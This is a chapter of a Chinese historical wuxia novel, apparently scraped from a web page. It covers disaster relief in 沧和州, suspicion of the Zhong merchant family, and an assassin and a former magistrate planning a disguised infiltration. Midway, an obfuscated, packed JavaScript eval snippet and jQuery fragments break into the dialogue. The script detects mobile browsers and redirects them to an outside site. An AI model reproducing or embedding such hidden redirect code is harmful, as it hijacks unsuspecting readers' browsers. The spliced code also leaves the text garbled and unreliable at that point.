35. 沧珠有泪(八)
作品:《古意山河录》 百姓被安抚好,赈灾粮不日也将运达,废墟之上新的房屋开始动工。林枫这个巡察御史自然就被人晾到了一边。
付春生在百姓平息下来之后,忽然从“外地”赶回。虽然没有筹集到粮食,但因心忧“民生大计”,便一刻也不停歇地督造修屋之事,实在是“令人敬佩”。
江尘和张晚晚师兄妹两人一遇上,性子都放开不少。两人一人一句讲述付春生“勤政爱民的功绩”,听得林枫也嘴角微弯。
正巧钟无悔前来拜访,便向三人报告了筑房的最新进展。
根据描述,张晚晚脑海中勾勒出一个系好袖袍,为众百姓端茶递水的赈灾史形象。那场景太过诡异,她与江尘交换眼神,嘴角无声颤了颤。
“钟公子这次归家,可还安好?”江尘走南闯北多年,是个还算健谈的江湖人。他似笑非笑地抬起头询问。
“别提了!”钟无悔等江尘话音落下,饮了一口茶,这才说道,“老爹听说我把给西域准备的珍珠衫换了粮食,当即拿出鸡毛掸子,追了我半个时辰。”
他笑着,颇有几分钟满楼“老顽童”的气质。待安静下来,又带上了几分书生气,与江尘相谈甚欢。
几人又聊了一阵,钟无悔喝完茶,同三人告别:“几位好友,眼下粮食短缺,我又要去帮老爹押运建房子的木料,今日就不宴请诸位了。待来日寻个好时机,我们再把酒言欢,不醉不归!”
“好!”几人抱拳应下。
张晚晚看着那个轻快离开的人,脸上笑容隐匿,冲林枫问道:“如何?可能看出些什么?”
林枫拢着件厚披风,坐在主位上,玩赏插满枯枝的花瓶,适才看了钟无悔半晌。清冷冬风穿堂而过,寒气入体,他压抑着低咳了几声。待缓过来,冲两人摇头:“钟无悔带伤押运粮食,若是在演戏,未免太用心了些。”
张晚晚思考后,亦是同样想法:钟无悔是个商人,也有些为百姓做事的书生意气。
江尘自从得到杨天翊消息,一路赶来至现在,见两人忙得几乎是脚不沾地,便尽可能地替二人分忧:“皓月楼刺客既然交待了‘钟’这个姓氏,那会见云时鸣的人,必然还在钟府内。”
他望向钟府所在,冷静道:“我会以保护钟满楼之名留在钟府,看看能否等到条大鱼。”
林枫饮了口茶,声音清雅温润:“也好。”
江尘便加快速度,去寻那出门已经有一阵,正要回府的钟无悔。
张晚晚见状,只在心中暗道:但愿他与此事无关吧。
正在此时,小七小八从城南返回,各自手中捧了块粗糠小饼。小七献宝一样捧着,把小饼递给张晚晚:“姐姐,我自己挣的,请你吃。就当是谢过你给的花生酥。”
那时的他和妹妹已在家挨饿多日,实在没有办法,这才去想去行客来往的皓月楼碰碰运气。若不是张晚晚给的小食点心,小八恐怕早就撑不住了。
他生得聪慧知道好赖,便一心想着要好好报答这个刀子嘴豆腐心的大姐姐。又冲小八点点头。
那小团子懵懵地回想一下,也学着哥哥,把手中的小饼递给了林枫。
张晚晚没有拒绝,伸手接过饼子,掰下一小块尝了尝,便将剩下的粗糠饼还给小七,语气淡淡:“这饼子不好吃,给你。”
林枫亦只留下少许,便把糠饼放回小八手心,冲她轻轻一笑。
小七狡黠地一眨眼,也不反驳她。那日在皓月楼,晚姐姐明明是个就着野菜也能吃得很香的人哪!她才不是什么挑剔的人呢。
便接过饼子,牵起妹妹的手,一同坐在靠椅上,慢慢地吃起来。
小童懂事得让人心疼,张晚晚双手握了握踏月,只希望能早日找到云时鸣下落。
……
千里之外,西北沙地背风处的洞穴里,飘出一拢浅紫裙纱。在千里黄沙之上,如同绽放的紫莲。
“我说木呆子,你躲什么呀?”悦耳的声音响起,像轻忽的罥烟,从女子饱满柔软的唇瓣中飘出。
那女子凤眼上挑,眼尾扫过一抹蓝紫色胭脂,每说完一句话,那长卷的睫毛便轻轻颤动,更显眼波流转,千娇百媚。
偏偏那女子的气质中又带了五分清冷,和美艳的五官一中和,活脱脱便是个刚出水的莲花妖精。
她嘴角微抿,贝齿轻咬唇瓣,冲窝棚里正襟危坐,如入虎狼窝的男子亦笑亦嗔道:“我又不会吃了你!”
女子哎呀一声躺倒,雪脂般的肌肤在紫纱衣裙包拢下若隐若现。她慵懒地挑起缕发丝在手中把玩,眼神极暧昧地,上下描摹男子的五官。
见男子神色毫无变化,玉指纤纤伸出,去抚那人肃正到几乎不近人情的下巴。
男子终于有所反应,眉心一蹙,捉住女子的手,轻轻带开:“姑娘还请自重!”
女子见那张端正英俊的脸染上薄怒,这才收了手,眼带痴迷,冲男子露出个得逞的笑。
紫衣女子正是受杨天翊所雇的,杀手榜第四——“蓝紫妖仙”千面姬。她追踪刺杀北狄使团的刺客,行至他们西北处大本营,却奉雇主命令,去接了个板正的呆子,一同行动。
这呆子便是前陵州知州——刘晋。长路漫漫,抓刺客实在无聊,女子便起了坏心肠,时不时就撩拨刘晋几下,给自己解个乏。
奈何这俊呆子像根棒槌,怎么也不肯给出丁点回应。只有在忍耐到极处时,才堪堪露出几丝情绪。
只这一点微微的动容,便足以让千面姬坚持不懈,再行挑逗了。
今日目的已经达成,千面姬像是从花朵里成功采到花蜜的蜂儿,再三品味男子那轻蹙的眉头,似满足,又似不满足。
她点染淡紫胭脂的嘴唇轻启,轻声道:“木呆子,我们在洞中呆了好几日,可是时候冲出去,端掉那伙刺客的老巢了。”
刘晋睁开眼,目不斜视:“在下不会武功,姑娘独自一人入豺狼窝,怕是有些不妥。”
千面姬一笑,淡紫色宝石耳坠来回摇晃,与那张艳到极致,也清到极致的脸交相辉映,比西北的烈日还要夺目:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483659|184432||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“怎么,你心疼我啊?”
“刘晋此行,只为公事。”男子将所有情绪敛了个干净,只余一道眸光,认真到有些呆板,让人明白他对此次出行的重视。
“好吧。”千面姬嘟囔一句,柔软腰肢发力,带动身子从地面立起,认真询问,“那你觉得,我们当如何?”
刘晋见千面姬有些上心,这才说出心中主意:“想办法,混进去。”
千面姬一秒变得不正经,像是想到什么趣事,以紫色袖纱掩口,愉悦地笑:“易容嘛,这可是我的拿手好戏。”她故意又道,“我扮做市井妇,你扮做挑货郎,我俩合做一对恩爱夫妻,如何?”
刘晋不想再和女子绕圈子,只道:“你扮做刀疤侍卫,我扮做运货商。待杨兄接应的人送来商货,我们走商道,去他们跟前走一趟。”
千面姬撇撇嘴,淡紫色口脂轻轻跃动:“好吧,都依你。”她袖口一晃,再露出脸庞时,便已经成了个沧桑侍卫。不仅刀疤胡须俱全,连声音也变成了男色。
她拿出面小铜镜,给脖颈间肤色做了掩盖,再给双手画出黄褐皱纹。待三两下收拾好自己,凑到刘晋面前,细指点颊,睫羽轻扇:“该给你画成什么模样的运货商呢?”
她凑得极近,像是毫不在意男女之防。刘晋鼻尖传来一股幽幽的丁香气息,只得再度闭眼,提醒道:“香气还未做掩盖。”
千面姬便“哦”了一声,张口全是笑意:“多谢你了,木呆子。”她看着刘晋乌黑挺拔的眉毛,心中有了主意。
……
七日后,沧和州府衙,冬日阳光照进客房。
“两位大人,城南塌毁房屋已重新修建完成,百姓想邀大人们今夜前去添彩贴符,点一挂驱邪爆竹,不知是否可行?”州衙老仆前来禀报。
林枫与张晚晚互换眼神,颔首应下:“林某会略备薄礼前往城南,与诸位百姓同贺新生。”
老仆道声“是”,因“新生”二字,眼中亦涌出泪花:“静候大人一聚。”
自林枫来后,朗宁不再独木支撑,付春生搁置了多日的赈灾事宜,也都得到及时处理。老仆深知林枫护民之心,长长一行揖礼,躬身而出,态度十分恭敬。
“你想备什么薄礼?”张晚晚好奇问道。
林枫看了看腰间竹笛,道:“一份悦人的欢喜。”
“人间有味,唯愿长久。”张晚晚见林枫眼神,默契轻道。
房里的日光一闪,两人朝门口看去。江尘匆匆赶来,眼睛带着抹明显的星子:“有新消息。”他倒出杯茶灌入喉中,冲二人道,“钟满楼上午会见木商,拿了个印信出来。”
“你们猜猜,是什么?”
林枫几乎是下意识地脱口而出:“行商令牌?”
江尘道:“说得不错,正是海晏州州宝——沧珠令。”
既有徙木令,又有沧珠令,想必在靠近西域的青州城内,还会有道玉石令牌。
南宁三大商行的水,是真的深。几人各自沉默,眸色暗了几分。